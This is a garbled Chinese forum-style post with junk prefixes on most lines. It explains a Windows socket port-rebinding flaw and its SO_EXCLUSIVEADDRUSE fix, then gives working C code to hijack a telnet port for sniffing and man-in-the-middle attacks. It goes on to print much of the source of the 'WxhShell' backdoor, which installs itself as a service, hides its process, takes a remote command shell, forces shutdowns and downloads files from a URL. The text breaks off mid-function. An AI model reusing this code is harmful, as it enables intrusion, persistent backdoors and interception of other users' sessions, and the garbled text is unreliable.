在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3rh@|fg)E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
b<1+q{0r IyJHKDFk saddr.sin_family = AF_INET;
nlsif ~]LkQQ' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
gtVnn]Jh 6tKCY(#oO+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8{ooLdpX7 6(as.U>K 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?Ja&LNI9S gSn9L)k(O 这意味着什么?意味着可以进行如下的攻击:
=/zb$d cz &w"1VOV< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
H\!p%Y m. EIMuj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
dw"{inMf rwh,RI)
)g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5i|DJ6 2T >K!jS 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~+OAAkJ9 Li8$Rb~q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
roNRbA] mNDz|Ln 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ap)[;_9BD f9FEH7S68 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+2?=W1` waRK$/b
( #include
^P p2T #include
Z36C7 kw #include
7 S6@[-E #include
&upM,Jsr* DWORD WINAPI ClientThread(LPVOID lpParam);
CYFi_6MFl int main()
/t"FZ# {
O4lHR6M2 WORD wVersionRequested;
vn"+x_ DWORD ret;
p^>_VE[S WSADATA wsaData;
Pua|Z
x BOOL val;
{>rGe#Vu SOCKADDR_IN saddr;
wR]jJbF SOCKADDR_IN scaddr;
?CU6RC n int err;
?=#vp / SOCKET s;
o +KDK{MD SOCKET sc;
yMVlTO int caddsize;
#|R#/Yc@Bv HANDLE mt;
kACgP!~/1 DWORD tid;
K0xka[x=( wVersionRequested = MAKEWORD( 2, 2 );
YggeKN err = WSAStartup( wVersionRequested, &wsaData );
&'KJh+jJ
if ( err != 0 ) {
r=74'g printf("error!WSAStartup failed!\n");
(u:^4,Z return -1;
'ugc=-0pd }
6)j4- saddr.sin_family = AF_INET;
hw9qnSeRy 'h.:-1# L //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
m(DJ6CSa ;%W]b saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YkuFt>U9, saddr.sin_port = htons(23);
7G]v(ay if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m]Gxep0% {
ewrs
D'? printf("error!socket failed!\n");
4#"_E:;PQ return -1;
HY!R | }
ky#5G-X val = TRUE;
R!Lh~~@{( //SO_REUSEADDR选项就是可以实现端口重绑定的
~OSgpM#O!T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b<bj5m4fz> {
p'f8?jt printf("error!setsockopt failed!\n");
Q/zlU@ return -1;
cN3!wE }
CyXFuk!R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'nRoa7v( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
0 *^>/* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
dYxX%"J O3K TKL] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-g\ ;B {
1Xn:B_pP ret=GetLastError();
` G-V
% printf("error!bind failed!\n");
>h3m/aeNC return -1;
ZULnS*V;5 }
iO@UzD#v listen(s,2);
ic;M=dsh: while(1)
OC=g 1 {
zN3b`K. i caddsize = sizeof(scaddr);
X%rsa7H3J //接受连接请求
euiP<[|h= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!fmbm4!a
if(sc!=INVALID_SOCKET)
r?2EJE2{V {
,[UK32KWI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D8 BmC if(mt==NULL)
{3`cSm6c {
SE<?l printf("Thread Creat Failed!\n");
wG@f~$ break;
Mj<T+Ohz }
@i <vlHpl }
FKBI.}A?!' CloseHandle(mt);
?RQ_LA; }
|5TzRz closesocket(s);
i@m@]-2 WSACleanup();
H ]z83:Z return 0;
7z;X@+O}s }
3ZUME\U DWORD WINAPI ClientThread(LPVOID lpParam)
q,m+W='
{
v8l3{qq SOCKET ss = (SOCKET)lpParam;
=JNCQu SOCKET sc;
\)`OEGdOR\ unsigned char buf[4096];
ko{7^]gR SOCKADDR_IN saddr;
q>rDxmP< long num;
6m%#cP
(6K DWORD val;
YN}vAFR` DWORD ret;
|}><)} //如果是隐藏端口应用的话,可以在此处加一些判断
Zk ] /m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|R&cQKaQ` saddr.sin_family = AF_INET;
!rsGCw!Pg saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?>s[B7wMp saddr.sin_port = htons(23);
'W*:9wah if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l0w<NZF {
^_gH}~l+U printf("error!socket failed!\n");
pf$gvL return -1;
4G2iT+X- }
z_8lf_N val = 100;
.+(R,SvN%< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%k'>bmJ {
$uUR@l ret = GetLastError();
%jJ|4\ return -1;
alH6~ }
=&I9d;7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4w5);x. {
#w@V!o ret = GetLastError();
Qo~|[]GE return -1;
Ggk#>O G }
`0, G'F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=}g-N)^ {
mg]t)+ PQ printf("error!socket connect failed!\n");
!nU|3S[b
closesocket(sc);
4;*jE ( closesocket(ss);
HtV8=.^ return -1;
H1.ktG }
rS8}(lf while(1)
.XT]\'vW {
-v! ; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gA}?X //如果是嗅探内容的话,可以再此处进行内容分析和记录
zfw=U
\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qV0GpVJZU? num = recv(ss,buf,4096,0);
:cvT/xhO if(num>0)
G=/^]E send(sc,buf,num,0);
#y-R*4G else if(num==0)
Rt>mAU$} break;
goe%'k, num = recv(sc,buf,4096,0);
$5:I~-mx if(num>0)
FsLd&$?T& send(ss,buf,num,0);
4sq](!A else if(num==0)
Ihp
Ea,v) break;
`ZU]eAV }
iNr&; closesocket(ss);
hof>:Rk closesocket(sc);
~)pso7^: return 0 ;
[,3E#+y }
q|V|Jl 3rBID WjguM ==========================================================
: T{VCw:* 6of9lO: 下边附上一个代码,,WXhSHELL
S!rVq,| d 8*;>:g ==========================================================
sJ{r+wY g/frg(KF #include "stdafx.h"
;nrkC\SYh: EW`3$J; #include <stdio.h>
}
m"':f #include <string.h>
.k$Yleg #include <windows.h>
xR8y"CpE #include <winsock2.h>
~ mz X1[ #include <winsvc.h>
=h xyR; #include <urlmon.h>
uFA}w:Fm >0_{80bdO #pragma comment (lib, "Ws2_32.lib")
eX1_=?$1P #pragma comment (lib, "urlmon.lib")
+|Izjx]ZV $xCJ5M4 #define MAX_USER 100 // 最大客户端连接数
%(|-+cLW+ #define BUF_SOCK 200 // sock buffer
CaV@<T #define KEY_BUFF 255 // 输入 buffer
+p[O|[z +/
{lz8^, #define REBOOT 0 // 重启
KZO[>qC"R #define SHUTDOWN 1 // 关机
eLLOE)x Fi/`3A@68 #define DEF_PORT 5000 // 监听端口
:}2T of2 hBaF^AWW #define REG_LEN 16 // 注册表键长度
znDpg{U( #define SVC_LEN 80 // NT服务名长度
Jd~M q9( h^v#?3.@ // 从dll定义API
Ii#+JY0k typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+@c$n`>) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
u{7->[= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?D|kCw69SE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
* =*\w\
te L1WvX6 // wxhshell配置信息
R13V}yL struct WSCFG {
U&43/;<, int ws_port; // 监听端口
X"vDFE`? char ws_passstr[REG_LEN]; // 口令
5`@yX[G int ws_autoins; // 安装标记, 1=yes 0=no
kZhd^H. char ws_regname[REG_LEN]; // 注册表键名
IwBO#HR~) char ws_svcname[REG_LEN]; // 服务名
D<:zw/IRE char ws_svcdisp[SVC_LEN]; // 服务显示名
X,c`,B03 char ws_svcdesc[SVC_LEN]; // 服务描述信息
)3 R5cq char ws_passmsg[SVC_LEN]; // 密码输入提示信息
c>3j$D+ int ws_downexe; // 下载执行标记, 1=yes 0=no
*2fJdY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Q eN7~ J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
rp^:{6O re,}}' };
@+1AYVz(k B`gH({U // default Wxhshell configuration
ZuZCIqN struct WSCFG wscfg={DEF_PORT,
D^a(|L3; "xuhuanlingzhe",
p"7[heExw 1,
HYG1BfEaW "Wxhshell",
bc:3 5. "Wxhshell",
&-w. rF@ "WxhShell Service",
]q"y P0 "Wrsky Windows CmdShell Service",
wz{c;v\J^ "Please Input Your Password: ",
C4GkFD
1,
r i)`e "
http://www.wrsky.com/wxhshell.exe",
Ms5R7<O.7 "Wxhshell.exe"
_2)QL };
0fLd7*1> -knP5"TB // 消息定义模块
CMyz!jZ3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K"hnGYt? char *msg_ws_prompt="\n\r? for help\n\r#>";
4'tY1d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]omBq<ox'Y char *msg_ws_ext="\n\rExit.";
'vYt_T char *msg_ws_end="\n\rQuit.";
G*,7pc char *msg_ws_boot="\n\rReboot...";
jtq^((Ux char *msg_ws_poff="\n\rShutdown...";
fQwLx
char *msg_ws_down="\n\rSave to ";
t BG
9Mn ;JMmr-@ char *msg_ws_err="\n\rErr!";
d^v.tYM$N char *msg_ws_ok="\n\rOK!";
k2.k}?w!JO L4ct2|w}ul char ExeFile[MAX_PATH];
j/F('r~L int nUser = 0;
kem(U{m HANDLE handles[MAX_USER];
A`Rs
n\ int OsIsNt;
F\v~2/J5v =diGuIB SERVICE_STATUS serviceStatus;
rg=Ym. SERVICE_STATUS_HANDLE hServiceStatusHandle;
4?+jvVq aL&9.L|1g // 函数声明
dPxJ`8 int Install(void);
xZM4CR9]*C int Uninstall(void);
qq_ZkU@xg int DownloadFile(char *sURL, SOCKET wsh);
O4:_c-V2 int Boot(int flag);
uRYq.`v, void HideProc(void);
"c?31$6 int GetOsVer(void);
xn@oNKD0 int Wxhshell(SOCKET wsl);
g>#}(u!PH void TalkWithClient(void *cs);
|
+uc;[` int CmdShell(SOCKET sock);
th<>%e}5c int StartFromService(void);
Oqt{ uTI~ int StartWxhshell(LPSTR lpCmdLine);
d(@ ov^e- yW\kmv.O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
f*IvaY VOID WINAPI NTServiceHandler( DWORD fdwControl );
_ysakn g$vOWSI+ // 数据结构和表定义
|/$954Hr#< SERVICE_TABLE_ENTRY DispatchTable[] =
RTDplv; ] {
A0,e3gb {wscfg.ws_svcname, NTServiceMain},
~=t9-AF- {NULL, NULL}
hs:iyr]@9 };
ie>mOsz 8J- ?bo // 自我安装
Z6Z/Y()4Tl int Install(void)
xP;>p|
M {
CN}0( 2n char svExeFile[MAX_PATH];
?A24h!7 HKEY key;
F\GNLi strcpy(svExeFile,ExeFile);
-N6ek` :XoR~syT // 如果是win9x系统,修改注册表设为自启动
d0f(U k if(!OsIsNt) {
L@_o*"&j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GXNkl?# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y^U^yh_!^ RegCloseKey(key);
om=kA"&&Q
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_^ic@h3'X~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rYg%B6Fp RegCloseKey(key);
(ip3{d{CT] return 0;
pp{GaCi }
3`RI[%AN~ }
*65~qAd }
(
z F_< else {
\hb$v jxt]Z3a ~0 // 如果是NT以上系统,安装为系统服务
CC'N"Xb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{*r!oD!' if (schSCManager!=0)
~*+evAP {
.2_xTt SC_HANDLE schService = CreateService
m(EVC}Y (
:S7[<SwL schSCManager,
&p*rEs wscfg.ws_svcname,
84i0h$ZZo wscfg.ws_svcdisp,
R6:m@ SERVICE_ALL_ACCESS,
ipt]qJFd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8Bh
micU SERVICE_AUTO_START,
hd[t&?{= SERVICE_ERROR_NORMAL,
P"t Dq& svExeFile,
k,8^RI07@ NULL,
~V?\@R:g NULL,
}<w9Jfr"X NULL,
- DYH>! NULL,
vQy<%[QO NULL
}w2Et );
+_gA"I
if (schService!=0)
gS`Z>+V5!c {
Asq&Z$bB_ CloseServiceHandle(schService);
cWo__EE CloseServiceHandle(schSCManager);
]1|7V|N6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\q24E3zS& strcat(svExeFile,wscfg.ws_svcname);
rSm#/)4A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,_D@ggL- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)7Qp9Fxo RegCloseKey(key);
/11CC \ return 0;
&%k_BdlkQ }
St>
E\tXp }
Goy[P2m CloseServiceHandle(schSCManager);
Tu,nX'q]m }
V`YmGo }
'aEN(Mdz1e \_i22/Et return 1;
x&m(h1h }
$(08!U
mv`b3 $ // 自我卸载
E @Rb+8}," int Uninstall(void)
U!RIeC {
5lM 3In@ HKEY key;
d-W*`:Q /[Rp~YzW if(!OsIsNt) {
gp
H@FX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H`Zg-j` RegDeleteValue(key,wscfg.ws_regname);
Bsd~_y}8 RegCloseKey(key);
=4&"fZ"v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]@}hyM[D; RegDeleteValue(key,wscfg.ws_regname);
TC@F*B; RegCloseKey(key);
sEZ2DnDI return 0;
9;`hJ!r }
XaoVv2=G~ }
Tn(uH17 }
/+. m.TF else {
0 N0< 4b /oGaA@#+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
*KU:D Y{ if (schSCManager!=0)
}*aj& {
v;}MHl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
CP$,fj if (schService!=0)
~3-+~y=o~ {
5Fq+^ if(DeleteService(schService)!=0) {
jMX|1b CloseServiceHandle(schService);
P=y1qqC CloseServiceHandle(schSCManager);
{!wd5C@ return 0;
U7,.L }
IF<T{/MA CloseServiceHandle(schService);
|%3>i"Y@AK }
/5
OQ0{8p CloseServiceHandle(schSCManager);
YdB/s1|G }
MI.OOoP3a }
|S]fs9 73{<;z}i return 1;
(OavgJ+Y }
D$w? nvc(<Ovw // 从指定url下载文件
Ywcgt| int DownloadFile(char *sURL, SOCKET wsh)
q6%m .X7 {
t+^__~IX HRESULT hr;
Pi,86? char seps[]= "/";
^%Ln@!P char *token;
~(`MP< char *file;
F<dhG>E9 char myURL[MAX_PATH];
O@:R\MwFOZ char myFILE[MAX_PATH];
)]E?~ $, rg]z strcpy(myURL,sURL);
!.4q{YWcYk token=strtok(myURL,seps);
,zJ:a>v while(token!=NULL)
-b?s\X {
hQvI} file=token;
V{\1qg{ token=strtok(NULL,seps);
NpbZt;%t }
fl4'dv R4zOiBi'B GetCurrentDirectory(MAX_PATH,myFILE);
Z]5xy_La strcat(myFILE, "\\");
`>lY$EBG@[ strcat(myFILE, file);
!2/o]_K@+ send(wsh,myFILE,strlen(myFILE),0);
XG5T`>Yl send(wsh,"...",3,0);
^(BE_<~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
b'ir$RL] c if(hr==S_OK)
3u
s^\w# return 0;
N%=,S?b else
>{Xyl): return 1;
@B ?'Mu* tdp>vI! }
CE|
*&G O>"
|5wj // 系统电源模块
Q]dKyMSSA int Boot(int flag)
)<e,- XujY {
p`!<yq2_ HANDLE hToken;
z$(`{
o%a TOKEN_PRIVILEGES tkp;
J$`5KbT3 F&lSRL+v if(OsIsNt) {
5F]2.<i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_b *gg LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
L/5th}m
tkp.PrivilegeCount = 1;
Vp1Nk#H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>yLdrf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
y~VLa if(flag==REBOOT) {
ItZ*$I1< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gXY]NWI return 0;
SR<W3a\ }
tU>7jo[-p else {
Oz"_KMz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
R[QBFL< return 0;
)L_@l5l }
/U6ry' }
tvUC d} else {
vJX0c\e if(flag==REBOOT) {
e YiqT Wn: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'HL.W]( return 0;
$wl_ }
)t2 eg1a: else {
c;n\HYk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Lg-!,Y
return 0;
Q*e\I8R} }
dkQP.Tj$i }
Pv*]AF;9pQ z1.vnGP return 1;
fOP3`G^\ }
\GK]6VW ZJ/K MW // win9x进程隐藏模块
Nkn2\w void HideProc(void)
#TB
3|= {
e=_Ng
j) pTH5-l_f] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
JC/nHM if ( hKernel != NULL )
1`~.!yd8( {
J M;WCV%NM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F^?DnZs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
m+x$LkP FreeLibrary(hKernel);
J2$,'(!( }
4lwoTGVZj o76{;Bl\O return;
iUZV-jl2/ }
.
\8"f]~ E+$D$a // 获取操作系统版本
vLGnLpt int GetOsVer(void)
M5N#xgR {
m@",Zr`f= OSVERSIONINFO winfo;
h1$75E?, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
h"f_T
[ GetVersionEx(&winfo);
7s Gf_`Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
l4U return 1;
c/l^;6O/!\ else
\4O_@d`A return 0;
<driD'=F }
Tz&h[+ 6` z00,Vr^m // 客户端句柄模块
{=;<1PykLb int Wxhshell(SOCKET wsl)
4v9d&
m!< {
l]~IZTC SOCKET wsh;
:*YnH& struct sockaddr_in client;
{W=5
J7 DWORD myID;
)G*xI`(@ -Q|]C{r while(nUser<MAX_USER)
~"8r=8| {
VL|Z+3L int nSize=sizeof(client);
y<c7RK] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3`Xzp if(wsh==INVALID_SOCKET) return 1;
dq0!.gBT2 !.499H3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!1Ht{cA0 if(handles[nUser]==0)
B#3Q4c$ closesocket(wsh);
HumL(S'm else
FB
%-$ nUser++;
FbXur- et^ }
N@^:IfJ+= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4zZ.v"laVM x~](d8*= return 0;
Vd'=Fe;eB }
Xv+,Z<>iQ D2RvFlAXu // 关闭 socket
\m=k~Cf:f void CloseIt(SOCKET wsh)
,Kt51vG i {
U/_hH*N"! closesocket(wsh);
xtK\-[n nUser--;
N*)O_Ki ExitThread(0);
NCgKWyRR }
,;f5OUl?[ +zEyCx=8H // 客户端请求句柄
hS&.-5v void TalkWithClient(void *cs)
2UxmKp[ {
#5iy^?N"w lNTbd"}$: SOCKET wsh=(SOCKET)cs;
5qFHy[IA char pwd[SVC_LEN];
ZH~Wn#Wp char cmd[KEY_BUFF];
DcE4r>8B char chr[1];
rbl^ aik int i,j;
8\jsGN.$JZ &=XK:+ while (nUser < MAX_USER) {
|/n <,X=M6$0n if(wscfg.ws_passstr) {
3$.#\*s_4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Mq_P'/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
? 51i0~O= //ZeroMemory(pwd,KEY_BUFF);
" ]OROJGa i=0;
,sT5TS
q while(i<SVC_LEN) {
Y~?Z'uR Pz0TAb // 设置超时
*]nk{jo2 fd_set FdRead;
`>OKV;~{z struct timeval TimeOut;
A2$05a$% FD_ZERO(&FdRead);
<j3|Mh_(I FD_SET(wsh,&FdRead);
}daU/ TimeOut.tv_sec=8;
^]Z@H/]H TimeOut.tv_usec=0;
7k00lKA\w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@uanej0q7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|*Oi:)qt p7HLSB2Rp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
U+C^"[B pwd
=chr[0]; :}-?X\|\
if(chr[0]==0xd || chr[0]==0xa) { {WQ6=wGpS
pwd=0; vKfjP_0$
break; lS#^v#uS
} -!K&\hEjj
i++; k|{ 4"4r
} /_YTOSZjm
y|zIuI-p
// 如果是非法用户,关闭 socket >]o>iOz;]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v["_t/_
} !~V^GlY
h4+*ssnYV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c _!!DEe7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;--D?Gs]Qr
>(.Y%$9"E
while(1) { 7|GSs=
qw>vu7/z
ZeroMemory(cmd,KEY_BUFF); "h|kf%
W
\A)Pcc}7
// 自动支持客户端 telnet标准 ` U-vXP
j=0; m]H]0T
while(j<KEY_BUFF) { |o'r?"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zxozhmg
cmd[j]=chr[0]; ZOpKi:\
if(chr[0]==0xa || chr[0]==0xd) { $?dQ^]<,
cmd[j]=0; sZ;Gb^{Z
break; 1'F!C
} @^o7UzS4z
j++; i"pOYZW1
} !
h92dH
eTay/i<-
// 下载文件 7[!dm_
if(strstr(cmd,"http://")) { ~qIr'?D
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f^ZhFu?
if(DownloadFile(cmd,wsh)) pM}~/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bf6i{`!G
else E+LQyvF[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cOZBl;}
} +S`cUn7
else { ZKq#PB/.
UEhFId
switch(cmd[0]) { M{)&SNI*C
j%Xa8$
// 帮助 B2a#:E,6
case '?': { /Ov1eQBNG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R/kJUl6HEl
break; /lh1sHgD
} vU]n0)<KB
// 安装 @LSh=o+
case 'i': { u[oV
Jvc
if(Install()) T7Y}v,+-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]>Gi_20*.
else
;NrPMz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o)]O
break; B2'TRXIm1U
} l2}X\N&q
// 卸载 =N8_S$nx(
case 'r': { FOsxId[f9
if(Uninstall()) jA[Ir3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >EZZEd
else -ZyY95E<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ek]nLN
break; E@n~ @|10
} ]f&f_"D
// 显示 wxhshell 所在路径 e+D]9wM8
case 'p': { >d
*`K
char svExeFile[MAX_PATH]; 8S8UV(K0
strcpy(svExeFile,"\n\r"); TbN{ex*
strcat(svExeFile,ExeFile); K]G(u"'
send(wsh,svExeFile,strlen(svExeFile),0); ezCJq`b
break; \=]`X2Ld
} ~8"oH5
// 重启 #NYHwO<0-
case 'b': { C&R U
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oveK;\7/m
if(Boot(REBOOT)) 9q
2 vT^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Ms"{+C
else { IkjJqz
closesocket(wsh); 6x=w-32+ y
ExitThread(0); zSU,le
} }6<5mq)%
break; [u37Hy_Gi
} I%GQ3D"=
// 关机 )tnbl"0
case 'd': { &[_@f#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V*5v
JF0j
if(Boot(SHUTDOWN)) !c1M{klP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ".waCt6
else { +^&i(7a[?
closesocket(wsh); kS=nH9
ExitThread(0); dUt4]
ar
} F",TP,X
break; ",J&UTUh
} `b] wyP
// 获取shell U zc p
case 's': { %KkC1.yu<
CmdShell(wsh); au/LoO#6Ro
closesocket(wsh); VJT /9O)Z|
ExitThread(0); Y_n3O@,
break; -aS@y.z
} QB!_z4UJ_;
// 退出 3\
,t_6}
case 'x': { c5b}q@nH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,\c V,$
CloseIt(wsh); i$Kx@,O8t
break; / o
I 4&W
} /3K)$Er
// 离开 19c_=$mV
case 'q': { &qWB\m
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -gS9I^
closesocket(wsh); P}UxA!
WSACleanup(); H9_iTGBQ
exit(1); 2f@Cy+W'[
break; m'"H1~BW
} l>`66~+s,`
} 9__B!vw:
} 79@CO6
B{D4.!a
// 提示信息 a:`<=^:4,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a$Y{ut0t(
} T*PEUq
} T!B\ixt6
kWVk^,
return; iLNUydiS
} [ }Tb2|
r@qLG"[\c
// shell模块句柄 9_iwikD
int CmdShell(SOCKET sock) PnInsf%;
{ q5= ,\S3=
STARTUPINFO si; ]1W xa?
ZeroMemory(&si,sizeof(si)); c s*E9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VPuR4p.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CfP-oFHoQ
PROCESS_INFORMATION ProcessInfo; 3S]QIZ1
char cmdline[]="cmd"; =_z o
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p9u*l
return 0; A%HIfSzQBS
} $p4e8j[EJ
G9LWnyQt
// 自身启动模式 6kLy!QS
int StartFromService(void) /j}Tv.'d
{ +Ln^<!P
typedef struct GD]epr%V
{ b @0=&4
DWORD ExitStatus; 3di;lzGq
DWORD PebBaseAddress; 0XCAnMVo
